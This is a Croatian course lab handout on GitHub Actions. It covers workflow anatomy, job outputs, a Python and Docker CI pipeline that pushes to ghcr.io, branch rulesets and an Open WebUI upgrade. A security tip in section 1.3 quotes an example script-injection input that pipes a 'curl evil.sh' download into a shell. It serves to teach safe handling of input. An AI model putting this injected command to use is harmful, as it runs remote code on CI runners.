Vježbe (90 min): GitHub Actions za praktikum-llm

Vježbe imaju uvod i dva dijela. Svaki dio završava pull requestom u osobnom repozitoriju `praktikum-<github-korisnik>`.

Dio	Grana	Što nastaje	PR na kraju
Uvod	`feature/actions-hello`	pregled datoteka u repozitoriju, Open WebUI `v0.13.3`	(isti PR kao dio 1)
1. Anatomija workflowa	`feature/actions-hello`	`.github/workflows/hello.yml`	spojen u `main` (fast-forward)
2. Python CI, Docker i ghcr.io	`feature/ci`	`Dockerfile.test`, `.github/workflows/ci.yml`, ruleset za `main`	**otvoren**, sve provjere zelene, slika na `ghcr.io`, merge moguć tek uz zelen CI

PR iz dijela 1 spajamo sami jer GitHub pokreće ručne (`workflow_dispatch`) workflowe samo ako je datoteka workflowa na zadanoj grani (`main`). Spajamo kao i dosad: fast-forward kad je moguće (`git merge` lokalno pa `git push`). PR iz dijela 2 je predaja i ostaje otvoren za pregled.

Gotova rješenja su u actions-lab/.

Sadržaj	Okvirno
0. Polazište i pregled svih datoteka u repozitoriju	8 min
0b. Open WebUI: pregled zadnjih slika i nadogradnja na `v0.13.3`	7 min
1. Anatomija GitHub Actions workflowa: hello world i kontekst	25 min
2. Python CI, Docker build, testovi, slika na ghcr.io i zaštita grane `main`	50 min

Priprema kod kuće:

- `docker pull ghcr.io/open-webui/open-webui:v0.13.3` (oko 1,5 GB),
- `gh auth status` javlja da ste prijavljeni, s opsegom `workflow` (ako ga nema: `gh auth refresh -s workflow`; bez njega `git push` datoteke u `.github/workflows/` preko HTTPS-a s tokenom iz `gh` bude odbijen).

---

0. Polazište i pregled svih datoteka u repozitoriju

Polazište je `main` u koji su spojeni PR-ovi iz tjedna 4. Ako nisu, spojiti ih sada (kao u tjednu 4, lokalno i fast-forward kad je moguće):

```
cd ~/praktikum-$(gh api user -q .login)
git checkout main
```

```
git pull
git merge feature/compose-ollama      # only if the week 4 PRs are not
merged yet
git push
git checkout -b feature/actions-hello
```

Ako ste radili dodatni zadatak s Python paketom (`src/praktikum_llm`, tjedan 3), za ovaj tjedan ga zanemarite: polazište su moduli `llm.py` i `ollama_client.py` u korijenu repozitorija.

Popis svega što git prati:

```
git ls-files | sort
```

Zajedno prolazimo kroz svaku datoteku: čemu služi, tko je čita i hoće li je danas čitati GitHub Actions. Do kraja vježbi popis će narasti za datoteke označene s **novo**.

Datoteka	Skupina	Čemu služi	Tko je čita	Danas u GitHub Actions
`.gitignore`	konfiguracija	što git ne prati	git	posredno: što nije u gitu, nema ni na runneru
`.dockerignore`	konfiguracija	što ne ulazi u build context	`docker build`	`ci.yml`
`.env.example`	konfiguracija	predložak varijabli okoline, bez tajni	ljudi	ne
`check_env.sh`	alati	provjera lokalnog okruženja (tjedan 1)	student	ne
`docker.txt`, `compose.txt`, `storage.txt`	dokazi	izlazi provjera iz ranijih predaja	nastavnik	ne
`requirements.txt`	ovisnosti	ovisnosti za izvođenje, točne verzije	`pip`, `Dockerfile`	`ci.yml`
`requirements-dev.txt`	ovisnosti	`requirements.txt` + pytest	`pip`, `Dockerfile.test`	`ci.yml`
`version.txt`	izdanja	trenutna verzija	release-please, `llm --version`	`ci.yml` (smoke test slike),

Datoteka	Skupina	Čemu služi	Tko je čita	Danas u GitHub Actions
				release-please
`CHANGELOG.md`	izdanja	popis promjena po verzijama	release-please, ljudi	release-please
`README.md`	dokumentacija	opis alata	ljudi, GitHub	ne
`Dockerfile`	kontejneri	slika alata `praktikum-llm`	`docker build`, Compose	`ci.yml`: **slika na `ghcr.io`**
`Dockerfile.test`	kontejneri	**novo ili iz tjedna 4** (dio 2): slika koja pokreće pytest	`docker build`	`ci.yml`
`compose.yaml`	kontejneri	Ollama, `ollama-pull`, Open WebUI, `llm` na mreži `backend`	`docker compose`	ne (lokalno)

Dvije stvari koje iz tablice treba ponijeti u ostatak vježbi:

- **Runner vidi samo ono što je u gitu.** `.env`, `.venv/` i lokalne slike ne postoje na GitHubovom stroju. Sve što workflow treba mora biti u repozitoriju (ili u tajnama i varijablama na GitHubu).
- **`.env` nije u gitu i nikad neće biti.** Vrijednosti koje workflow treba (npr. token) idu u *Settings* → *Secrets and variables* → *Actions*, a ne u datoteku.

0b. Open WebUI: pregled zadnjih slika i nadogradnja na `v0.13.3`

Open WebUI nismo napisali mi, ali smo ga mi pustili u rad, pa je njegovo održavanje naš posao. U tjednu 4 koristili smo `v0.7.2`. Prvo provjeravamo što postoji:

```
gh release list -R open-webui/open-webui -L 5                          #
latest releases and dates
docker buildx imagetools inspect ghcr.io/open-webui/open-webui:v0.13.3   #
platforms and digest of the image
```

Na stranici Releases pročitati bilješke izdanja. Od `v0.7.2` do `v0.13.3` mnoga izdanja nose upozorenje **Database Migrations**: nova verzija pri prvom pokretanju mijenja shemu baze u volumenu `open-webui-data`, a povratak na staru verziju nakon toga nije podržan. Zato možemo sigurnosno kopirati volumen:

```
docker compose stop open-webui
docker run --rm -v praktikum_open-webui-data:/data:ro -v "$PWD":/backup
alpine:3.24 \
```

```
  tar czf /backup/open-webui-v0.7.2.tgz -C /data .
ls -lh open-webui-v0.7.2.tgz          # do NOT commit it: add it to
.gitignore
echo "*.tgz" >> .gitignore
```

No možemo i preskočiti sigurnosnu kopiju i ponovno pokrenuti `ollama-pull` servis.

U `compose.yaml` promijeniti tag:

```
  open-webui:
    image: ghcr.io/open-webui/open-webui:v0.13.3
```

```
docker compose pull open-webui         # already downloaded at home: only
checks the digest
docker compose up -d open-webui
docker compose logs -f open-webui      # migrations run on the first start;
wait for "Uvicorn running"
docker compose ps open-webui           # STATUS Up ... (healthy)
```

Otvoriti `http://localhost:3000` i provjeriti da su model i stari razgovori tu. Staru sliku obrisati: `docker image rm ghcr.io/open-webui/open-webui:v0.7.2`.

Zašto izričit tag (`v0.13.3`), a ne `latest` ili `main`? Isti `compose.yaml` mora sutra dati isti sustav; nadogradnja je svjesna odluka koja prolazi kroz PR, s bilješkama izdanja i sigurnosnom kopijom. Još strože je zapinjanje digesta (`image: ghcr.io/open-webui/open-webui:v0.13.3@sha256:...`), jer se tag može premjestiti, a digest ne. Alati poput Dependabota i Renovatea mogu sami otvarati PR-ove za nove verzije slika i akcija.

```
git add compose.yaml .gitignore
git commit -m "<type>: upgrade open-webui to v0.13.3"
```

Tip commita odabrati prema Conventional Commits: ovo je održavanje ovisnosti, nije nova mogućnost alata.

---

1. Anatomija GitHub Actions workflowa: hello world i kontekst

> 🎯 Ishod dijela 1
>
> U `main` osobnog repozitorija spojen je PR s grane `feature/actions-hello` koji sadrži nadogradnju Open WebUI-ja (0b) i workflow `.github/workflows/hello.yml` s dva joba (`hello` i `goodbye`).
>
> **Kriteriji prihvaćanja** (nastavnik ih provjerava na kartici *Actions* i u PR-u):

> 1. Workflow `hello` ima uspješna pokretanja za tri događaja: `push`, `pull_request` i `workflow_dispatch`.
> 2. Pokretanje `workflow_dispatch` ima vaš `greeting` (ne zadani `Hello`) u sažetku joba i u ispisu joba `goodbye`.
> 3. Job `goodbye` čita izlaz joba `hello` (`needs.hello.outputs.message`).
> 4. Poruka završnog commita i naslov PR-a slijede Conventional Commits i **ne povećavaju** verziju (promjena je u CI-u, ne u alatu).

1.1 Prvi workflow

Workflow je YAML datoteka u `.github/workflows/`. Napraviti `.github/workflows/hello.yml`:

```yaml
name: hello

on:
  push:
  pull_request:
  workflow_dispatch:
    inputs:
      greeting:
        description: "Word to greet with"
        type: string
        default: Hello
      show-context:
        description: "Print the whole github context"
        type: boolean
        default: false

permissions:
  contents: read

jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - name: Hello, world
        run: echo "Hello, world from job ${{ github.job }}"
```

Ključ	Razina	Značenje
`name`	workflow	ime na kartici *Actions*
`on`	workflow	događaji koji pokreću workflow
`permissions`	workflow ili job	što smije `GITHUB_TOKEN` (ovdje samo čitanje repozitorija)
`jobs.<id>`	job	skup koraka koji se izvodi na **jednom** runneru
`runs-on`	job	na kojem runneru: `ubuntu-latest` je novi virtualni stroj koji GitHub ugasi nakon joba

Ključ	Razina	Značenje
`steps`	korak	naredbe (`run:`) ili gotove akcije (`uses:`), redom, na istom stroju

```
git add .github/workflows/hello.yml
git commit -m "<type>: add hello workflow"
git push -u origin HEAD
gh run list --workflow hello.yml        # one run, event "push"
gh run watch                            # follow it live (or open the
Actions tab)
```

1.2 Kontekst, varijable okoline i prazan stroj

Ispod koraka `Hello, world` dodati:

```
      - name: Who, what, where
        run: |
          echo "event:      ${{ github.event_name }}"
          echo "repository: $GITHUB_REPOSITORY"
          echo "ref:        $GITHUB_REF  (sha ${GITHUB_SHA::7})"
          echo "actor:      $GITHUB_ACTOR"
          echo "runner:     $RUNNER_OS / $RUNNER_ARCH, $(nproc) CPUs"

      - name: An ephemeral machine starts empty
        run: |
          echo "workspace: $GITHUB_WORKSPACE"
          ls -la "$GITHUB_WORKSPACE"
          whoami; uname -r; df -h / | tail -1

      - name: Check out the repository
        uses: actions/checkout@v7

      - name: Now the code is here
        run: ls -la && cat version.txt

      - name: Print the github context
        if: github.event_name != 'workflow_dispatch' || inputs.show-context
        env:
          GITHUB_CONTEXT: ${{ toJson(github) }}
        run: echo "$GITHUB_CONTEXT"
```

Commit, push i u logu pogledati:

- `${{ github.event_name }}` je **izraz**: GitHub ga zamijeni vrijednošću prije nego što shell vidi naredbu. `$GITHUB_REPOSITORY` je **varijabla okoline** koju čita shell. Isti podatak, dva puta do njega.
- Prije `actions/checkout` direktorij `$GITHUB_WORKSPACE` je **prazan**. Runner je nov, prazan stroj (*ephemeral*): ništa od prošlog pokretanja nije tu, ni kod, ni `.venv`, ni slike.

- Ispis konteksta `github` je isti JSON kao u koraku `Dump GitHub context` u `release_please.yml` iz tjedna 1. Pronaći u njemu `event.head_commit.message`.

1.3 Izlaz koraka, izlaz joba i drugi job

U job `hello` (na razini `runs-on`) dodati `outputs`, a na kraj koraka dva nova koraka:

```
  hello:
    runs-on: ubuntu-latest
    outputs:
      message: ${{ steps.compose.outputs.message }}
    steps:
      # ... previous steps ...
      - name: Compose a message
        id: compose
        env:
          GREETING: ${{ inputs.greeting || 'Hello' }}
        run: echo "message=$GREETING from $GITHUB_ACTOR, version $(cat
version.txt)" >> "$GITHUB_OUTPUT"

      - name: Job summary
        run: |
          echo "### ${{ steps.compose.outputs.message }}" >>
"$GITHUB_STEP_SUMMARY"
          echo "Triggered by \`${{ github.event_name }}\` on \`${{
github.ref_name }}\`." >> "$GITHUB_STEP_SUMMARY"
```

i novi job na razini `hello`:

```
  goodbye:
    needs: hello
    runs-on: ubuntu-latest
    steps:
      - name: Read the output of the previous job
        env:
          MESSAGE: ${{ needs.hello.outputs.message }}
        run: |
          echo "hello said: $MESSAGE"
          ls -la "$GITHUB_WORKSPACE"
```

Tok podataka: korak piše `ime=vrijednost` u datoteku `$GITHUB_OUTPUT` → `steps.compose.outputs.message` → izlaz joba `outputs.message` → drugi job ga čita kao `needs.hello.outputs.message`. `goodbye` radi na **drugom** stroju: njegov `$GITHUB_WORKSPACE` je opet prazan. Jobovi ne dijele datotečni sustav; dijele samo izlaze (male tekstualne vrijednosti) i artefakte (datoteke, dio 2).

Sigurnost: unos korisnika (`inputs.greeting`) ide kroz `env:`, a ne izravno u skriptu kao `run: echo "${{ inputs.greeting }}"`. Izraz se umeće u skriptu prije izvođenja, pa bi unos `"; curl evil.sh`

`| sh; echo "` postao dio naredbe (*script injection*). Isto vrijedi za naslove PR-ova, imena grana i poruke commita.

1.4 Pull request, spajanje i ručno pokretanje

```
git add .github/workflows/hello.yml
git commit -m "<type>: pass a message between jobs"
git push
gh pr create --base main --title "<type>: add hello workflow" --body "Week
5, part 1."
gh pr checks --watch                    # hello / hello and hello / goodbye
for event pull_request
```

Na PR-u se workflow pokreće dvaput: za `push` na granu i za `pull_request` (na *merge commitu* PR-a, tj. kako bi `main` izgledao nakon spajanja).

Gumb *Run workflow* još ne postoji: `workflow_dispatch` radi samo za workflowe koji su na zadanoj grani. Spajamo (fast-forward, kao u tjednu 2):

```
git checkout main
git merge --ff-only feature/actions-hello
git push                                 # GitHub marks the PR as merged
gh workflow run hello.yml -f greeting=Bok -f show-context=false
gh run watch
```

U sažetku pokretanja (*Summary*) mora pisati `Bok from <vaš-login>, version ...`, a job `goodbye` ispisuje istu poruku.

Ako `git merge --ff-only` javi `Not possible to fast-forward`, netko je u međuvremenu promijenio `main` (najčešće release-please): `git merge feature/actions-hello` bez `--ff-only` napravi merge commit (dogovorena strategija tečaja), pa `git push`.

Predaja dijela 1: spojen PR s grane `feature/actions-hello`; nastavnik provjerava kriterije 1–4 na kartici *Actions* i u PR-u.

---

2. Python CI, Docker build, testovi i slika na ghcr.io

> 🎯 Ishod dijela 2
>
> U osobnom repozitoriju je **otvoren** pull request s grane `feature/ci` koji sadrži `Dockerfile.test` i workflow `.github/workflows/ci.yml`. Na PR-u su zelene obje provjere: `test` i `docker`, a job `docker` je nakon testova objavio sliku `ghcr.io/unipu-pro/praktikum-llm-<github-korisnik>` s tagom jednakim SHA-u commita. Grana `main` je zaštićena: u nju se ulazi samo pull requestom, i to tek kad su `test` i `docker` zeleni.
>
> **Kriteriji prihvaćanja:**

> 1. `ci` se pokreće kad se pull request otvori (`opened`) i na svaki novi push u njegovu granu (`synchronize`).
> 2. Job `test` pokreće testove na Pythonu 3.13 i uploada artefakt `pytest-report` s JUnit izvještajem.
> 3. Job `docker` počinje tek kad je job `test` zelen, gradi sliku akcijom `docker/build-push-action`, provjerava `--version` iz slike prema `version.txt`, pokreće testove u slici iz `Dockerfile.test` i tek tada pusha sliku `ghcr.io/unipu-pro/praktikum-llm-<github-korisnik>:<SHA commita>` (s `GITHUB_TOKEN`om, bez ijedne tajne u repozitoriju).
> 4. U povijesti PR-a postoji barem jedno **crveno** pokretanje (namjerno pokvaren test, korak 2.4) i nakon njega zeleno.
> 5. Poruka završnog commita i naslov PR-a slijede Conventional Commits i **ne povećavaju** verziju.
> 6. Na `main` je aktivan ruleset `protect-main`: obavezan pull request i obavezne provjere `test` i `docker`; izravan `git push` u `main` je odbijen (korak 2.5).
>
> **Predaja:** otvoren PR. Ne spajati ga sami; PR je predaja i ostaje otvoren za pregled.

```
git checkout main && git pull
git checkout -b feature/ci
```

2.1 `Dockerfile.test`

Ako ga nemate iz tjedna 4, napraviti `Dockerfile.test` u korijenu repozitorija:

```
# Simple, single-stage image that runs the unit tests when the container
STARTS.
FROM python:3.13-alpine

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

WORKDIR /app

COPY requirements.txt requirements-dev.txt ./
RUN pip install --no-cache-dir -r requirements-dev.txt

COPY version.txt ollama_client.py llm.py ./
COPY tests/ tests/

# The exit code of the container is the exit code of pytest: 0 = all
passed, 1 = a test failed.
CMD ["python", "-m", "pytest", "-v"]
```

```
docker build -f Dockerfile.test -t praktikum-llm-tests .
docker run --rm praktikum-llm-tests; echo "exit code: $?"     # 7 passed,
```

```
exit code: 0
```

Lokalno to je isto što će CI raditi na runneru. Izlazni kod kontejnera je rezultat (tjedan 4); GitHub Actions korak s izlaznim kodom različitim od 0 je crven i zaustavlja job.

2.2 Job `test`: unit testovi na runneru

Napraviti `.github/workflows/ci.yml`:

```yaml
name: ci

on:
  pull_request:
    types:
      - opened                          # the PR is created
      - synchronize                     # a new commit is pushed to the PR
branch

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7

      - uses: actions/setup-python@v7
        with:
          python-version: "3.13"
          cache: pip
          cache-dependency-path: requirements*.txt

      - name: Install dependencies
        run: pip install -r requirements-dev.txt

      - name: Unit tests
        run: python -m pytest -v --junitxml=pytest-report.xml

      - name: Upload the test report
        if: always()
        uses: actions/upload-artifact@v7
        with:
          name: pytest-report
          path: pytest-report.xml
```

Ključ	Što radi
`pull_request` s `types:`	samo dva događaja PR-a: otvaranje i novi commit; to su upravo trenuci kad treba provjeriti kod koji ide u `main`

Ključ	Što radi
`python-version: "3.13"`	ista verzija kao u slici (`python:3.13-alpine`): runner i kontejner testiraju isti Python
`cache: pip`	preuzeti wheelovi se čuvaju između pokretanja; ključ je sažetak `requirements*.txt`
`if: always()`	izvještaj se uploada i kad testovi padnu, upravo onda nam treba

```
git add Dockerfile.test .github/workflows/ci.yml
git commit -m "<type>: run unit tests on pull requests"
git push -u origin HEAD
gh pr create --base main --title "<type>: add CI for tests and Docker
image" --body "Week 5, part 2."
gh pr checks --watch
```

2.3 Job `docker`: build, smoke test i testovi u slici

Na kraj `ci.yml` (na razini joba `test`) dodati:

```
  docker:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write                    # GITHUB_TOKEN may push to
ghcr.io, only in this job
    steps:
      - uses: actions/checkout@v7

      - name: Name and tag the image
        id: image
        env:
          COMMIT_SHA: ${{ github.event.pull_request.head.sha }}
        run: |
          login="${GITHUB_REPOSITORY#*/praktikum-}"      # unipu-
pro/praktikum-<login> -> <login>
          echo "ref=ghcr.io/${GITHUB_REPOSITORY_OWNER,,}/praktikum-
llm-${login,,}:${COMMIT_SHA}" >> "$GITHUB_OUTPUT"
          echo "version=$(cat version.txt)" >> "$GITHUB_OUTPUT"

      - uses: docker/setup-buildx-action@v4

      - name: Build the image
        uses: docker/build-push-action@v7
        with:
          context: .
          load: true
          tags: ${{ steps.image.outputs.ref }}
```

```
            cache-from: type=gha,scope=runtime
            cache-to: type=gha,scope=runtime,mode=max

        - name: Smoke test the image
          env:
            IMAGE: ${{ steps.image.outputs.ref }}
            VERSION: ${{ steps.image.outputs.version }}
          run: |
            docker run --rm "$IMAGE" --version
            test "$(docker run --rm "$IMAGE" --version)" = "llm $VERSION"

        - name: Build the test image
          uses: docker/build-push-action@v7
          with:
            context: .
            file: Dockerfile.test
            load: true
            tags: praktikum-llm-tests:ci
            cache-from: type=gha,scope=tests
            cache-to: type=gha,scope=tests,mode=max

        - name: Unit tests inside the container
          run: docker run --rm praktikum-llm-tests:ci

        - name: Log in to ghcr.io
          uses: docker/login-action@v4
          with:
            registry: ghcr.io
            username: ${{ github.actor }}
            password: ${{ secrets.GITHUB_TOKEN }}

        - name: Push the image
          env:
            IMAGE: ${{ steps.image.outputs.ref }}
          run: |
            docker push "$IMAGE"
            echo "Pushed $IMAGE ($(docker image inspect --format '{{index
.RepoDigests 0}}' "$IMAGE"))" >> "$GITHUB_STEP_SUMMARY"
```

- `needs: test`: `docker` počinje tek kad je `test` zelen.
- **Redoslijed je bitan:** slika se gradi s `load: true` (ostaje u Dockeru runnera), prolazi smoke test i testove u `Dockerfile.test`, a tek onda `docker push`. Ako bilo što prije pukne, ništa ne stiže u registar.
- **Ime slike** `ghcr.io/unipu-pro/praktikum-llm-<github-korisnik>` slaže se iz imena repozitorija (`praktikum-<github-korisnik>`); `${VAR,,}` u bashu pretvara u mala slova jer Docker ne prihvaća velika slova u imenu slike.
- **Tag je SHA commita** (`github.event.pull_request.head.sha`, isti SHA kao u `git log` i na PR-u). Svaki push u PR daje novu sliku, a iz taga se uvijek zna iz kojeg je koda nastala. (Na `pull_request` je `github.sha` SHA privremenog *merge* commita, kojeg nema u vašoj povijesti, pa ga ne koristimo.) Sažetak runa pokazuje i **digest** slike (`sha256:...`): sadržaj slike, koji se ne može premjestiti kao tag.

- `permissions: packages: write` + `docker/login-action` s `secrets.GITHUB_TOKEN`: token nastaje za ovaj job i istječe s njim; nema osobnog tokena ni tajne koju bismo sami spremili.
- `cache-from`/`cache-to: type=gha` spremaju slojeve slike u GitHubov cache: stroj nestaje, cache ostaje, pa drugi build preskače `pip install` ako se `requirements.txt` nije promijenio (usporediti trajanje koraka `Build the image` u prvom i drugom pokretanju).
- **Smoke test** je najkraća provjera da slika uopće radi: pokreće se i ispisuje točnu verziju.

```
git add .github/workflows/ci.yml
git commit -m "<type>: build and test the Docker image in CI"
git push
gh pr checks --watch                    # test, docker
```

Na stranici pokretanja pogledati graf jobova (`test` → `docker`), preuzeti artefakt `pytest-report` i u sažetku joba `docker` pročitati ime i digest objavljene slike.

Slika na `ghcr.io`: na stranici repozitorija desno *Packages* → `praktikum-llm-<github-korisnik>`. Paket je vezan uz repozitorij; u organizaciji je zadano **privatan**, pa ga lokalno povlačimo uz prijavu:

```
gh auth refresh -s read:packages                                    # once:
gh token may read packages
gh auth token | docker login ghcr.io -u "$(gh api user -q .login)" --
password-stdin
IMAGE=ghcr.io/unipu-pro/praktikum-llm-$(gh api user -q .login | tr A-Z a-z)
docker run --rm "$IMAGE:$(git rev-parse HEAD)" --version            # the
image of the last pushed commit
```

Ista slika iz registra bit će polazište za isporuku na poslužitelj (tema 7): poslužitelj samo povuče tag, ne gradi ništa.

2.4 Crveno pa zeleno

U `tests/test_version.py` u zadnjem testu privremeno zamijeniti `"0.0.0"` s `"0.0.1"`:

```
git commit -am "test: break a test on purpose"
git push
gh pr checks --watch                    # test fails, docker is skipped
gh run view --log-failed                # the assertion from pytest,
straight from the runner
git revert --no-edit HEAD
git push
gh pr checks --watch                    # green again
```

Primijetiti: `docker` se uopće nije pokrenuo (`needs: test`), a artefakt `pytest-report` je ipak tu (`if: always()`). PR s crvenom provjerom ne bi smio u `main`, ali GitHub ga zasad ne sprječava: gumb *Merge* je i dalje zelen. To popravljamo u zadnjem koraku.

Poruka završnog commita i naslov PR-a. CI ne mijenja ponašanje alata, pa ne povećava verziju; odgovarajući tip pronađite u Conventional Commits (u naredbama piše `<type>`). Naslov PR-a se mijenja s `gh pr edit --title "..."`.

2.5 Merge tek nakon zelenog CI-a

Posljednji zadatak: `main` mora prihvaćati samo kod koji je prošao CI. To nije dio workflowa nego **postavka repozitorija** (ruleset).

Na GitHubu: *Settings* → *Rules* → *Rulesets* → *New ruleset* → *New branch ruleset*:

Polje	Vrijednost
Ruleset Name	`main`
Enforcement status	`Active`
Target branches	*Add target* → *Include default branch* (`main`)
Restrict deletions	uključeno
Require a pull request before merging	uključeno; *Required approvals*: `0` (radite sami)
Require status checks to pass	uključeno; *Add checks* → `test` i `docker` (izvor: GitHub Actions)
Block force pushes	uključeno

Create. Provjera se u popisu nudi tek kad se barem jednom izvela na repozitoriju, zato ovaj korak dolazi nakon 2.2 do 2.4. Ime provjere je ime joba (`test`, `docker`), a ne ime workflowa (`ci`).

Provjera 1: izravan push u `main` je odbijen.

```
git checkout main && git pull
git commit --allow-empty -m "chore: try to skip the pull request"
git push                                  # rejected: GH013 Repository rule
violations, changes must be made through a pull request
git reset --hard origin/main              # throw the local commit away
```

Provjera 2: crveni PR se ne može spojiti. Na grani `feature/ci` ponoviti namjerno pokvaren test iz koraka 2.4:

```
git checkout feature/ci
git commit -am "test: break a test on purpose (again)"
git push                                  # synchronize -> ci runs
gh pr checks --watch                      # test fails, docker is skipped
gh pr view --json mergeStateStatus -q .mergeStateStatus   # BLOCKED
git revert --no-edit HEAD && git push
```

```
gh pr checks --watch                          # green again
gh pr view --json mergeStateStatus -q .mergeStateStatus   # CLEAN
```

Na stranici PR-a uz `test` i `docker` sada piše *Required*, a gumb *Merge* je onemogućen dok obje provjere nisu zelene.

Od sada se u `main` ulazi samo kroz PR: lokalni `git merge` + `git push` u `main` (kao u dijelu 1) više ne prolazi. PR se spaja na GitHubu ili s `gh pr merge`, i to tek kad je CI zelen. Pazite na release-please: njegov release PR otvara `GITHUB_TOKEN`, a događaji koje stvori `GITHUB_TOKEN` ne pokreću nove workflowe. Na release PR-u `ci` zato ne krene i obavezne provjere ostaju *Expected*. Zato je u rulesetu uloga *Repository admin* (vi) na *Bypass list* u načinu *For pull requests only*: release PR spajate s *Merge without waiting for requirements to be met*, a izravan push u `main` i dalje je odbijen.

Predaja dijela 2 (praktični zadatak 5): otvoren PR iz `feature/ci` sa zelenim provjerama i crvenim pokretanjima u povijesti, te aktivan ruleset `protect-main` (kriteriji 1–6). PR ne spajati sami.

Česti problemi

Simptom	Rješenje
`git push` odbijen: `refusing to allow an OAuth App to create or update workflow ... without workflow scope`	`gh auth refresh -s workflow`, pa ponovno `git push`
Workflow se ne pokreće nakon pusha	Datoteka mora biti točno u `.github/workflows/` i imati nastavak `.yml` ili `.yaml`; YAML greška se vidi na kartici *Actions* (`Invalid workflow file`)
`gh workflow run` javlja `could not find any workflows named hello.yml` ili nema gumba *Run workflow*	`workflow_dispatch` radi samo kad je datoteka na zadanoj grani: spojiti PR u `main`
`HTTP 422: Unexpected inputs provided`	Ime u `-f ime=...` mora odgovarati ključu pod `workflow_dispatch.inputs`
`ls` ne pokazuje kod, `cat version.txt`: `No such file or directory`	Korak je prije `actions/checkout`, ili je u drugom jobu bez checkouta
Izlaz joba je prazan u drugom jobu	`outputs:` joba mora pokazivati na `steps.<id>.outputs.<ime>`, a korak mora imati `id:` i pisati u `$GITHUB_OUTPUT` (ne `echo "::set-output ..."`, to je ukinuto)
Job `docker`, korak *Push the image*: `denied: permission_denied: write_package` ili `installation not allowed to Create organization package`	Job nema `permissions: packages: write`, ili organizacija ne dopušta stvaranje paketa (nastavnik: *Organization settings → Packages*)

Simptom	Rješenje
`docker pull ghcr.io/...`: `unauthorized` ili `denied`	Lokalno niste prijavljeni u `ghcr.io` ili token nema `read:packages` (`gh auth refresh -s read:packages`, pa ponovno `docker login`)
Job `docker`: `ERROR: failed to read dockerfile: open Dockerfile.test`	`Dockerfile.test` nije commitan
U rulesetu se pod *Add checks* ne nude `test` i `docker`	Provjere se nude tek nakon što su se barem jednom izvele: prvo korak 2.2 do 2.4, zatim ruleset. Ime upisati točno kao ime joba
PR stoji na *Expected — Waiting for status to be reported*	Obavezna provjera se nikad nije pokrenula za taj commit: `ci` se pokreće samo na `opened` i `synchronize`, pa nakon `reopened` treba novi push (ili *Re-run jobs*); ili se ime provjere u rulesetu ne poklapa s imenom joba
`git push` u `main`: `GH013: Repository rule violations found`	Očekivano nakon koraka 2.5: promjene idu kroz PR
Job `docker` je *skipped*	Job `test` nije zelen (`needs: test`)
Open WebUI nakon nadogradnje ne starta, u logu greška migracije	`docker compose logs open-webui`; povratak: `docker compose down`, `docker volume rm praktikum_open-webui-data`, raspakirati sigurnosnu kopiju u novi volumen i vratiti tag `v0.7.2`
Previše potrošenih minuta	`paths:` filtri, cache; svaki job se naplaćuje zaokruženo na cijelu minutu